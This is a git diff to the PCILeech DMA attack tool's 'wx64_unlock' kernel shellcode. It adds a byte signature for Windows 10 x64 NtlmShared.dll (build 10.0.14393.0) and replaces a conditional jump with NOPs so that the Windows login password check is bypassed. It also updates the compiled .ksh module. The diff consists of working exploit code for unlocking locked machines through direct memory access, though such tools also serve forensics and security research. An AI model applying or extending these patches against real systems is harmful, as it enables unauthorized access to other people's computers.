diff --git a/pcileech_files/wx64_unlock.ksh b/pcileech_files/wx64_unlock.ksh index 247063d..c62843a 100644 Binary files a/pcileech_files/wx64_unlock.ksh and b/pcileech_files/wx64_unlock.ksh differ diff --git a/pcileech_shellcode/wx64_unlock.c b/pcileech_shellcode/wx64_unlock.c index 921b5aa..34ca07e 100644 --- a/pcileech_shellcode/wx64_unlock.c +++ b/pcileech_shellcode/wx64_unlock.c @@ -129,7 +129,7 @@ NTSTATUS Unlock_FindAndPatch(_In_ PKERNEL_FUNCTIONS2 fnk2, _Inout_ PBYTE pbPages return E_FAIL; } -#define NUMBER_OF_SIGNATURES 5 +#define NUMBER_OF_SIGNATURES 6 NTSTATUS Unlock(_In_ QWORD qwAddrNtosBase) { SIGNATURE oSigs[NUMBER_OF_SIGNATURES] = { @@ -157,6 +157,11 @@ NTSTATUS Unlock(_In_ QWORD qwAddrNtosBase) { .cbOffset = 0x62f,.cb = 4,.pb = { 0xff, 0x15, 0xb3, 0x1b } }, { .cbOffset = 0x638,.cb = 4,.pb = { 0x0f, 0x85, 0x18, 0xfb } }, { .cbOffset = 0x638,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } + }, + { .chunk = { // win10x64 NtlmShared.dll (2016-07-16::10.0.14393.0) + { .cbOffset = 0x6df,.cb = 4,.pb = { 0xff, 0x15, 0xd3, 0x1b } }, + { .cbOffset = 0x6e8,.cb = 4,.pb = { 0x0f, 0x85, 0x18, 0xfb } }, + { .cbOffset = 0x6e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } } }; KERNEL_FUNCTIONS2 fnk2;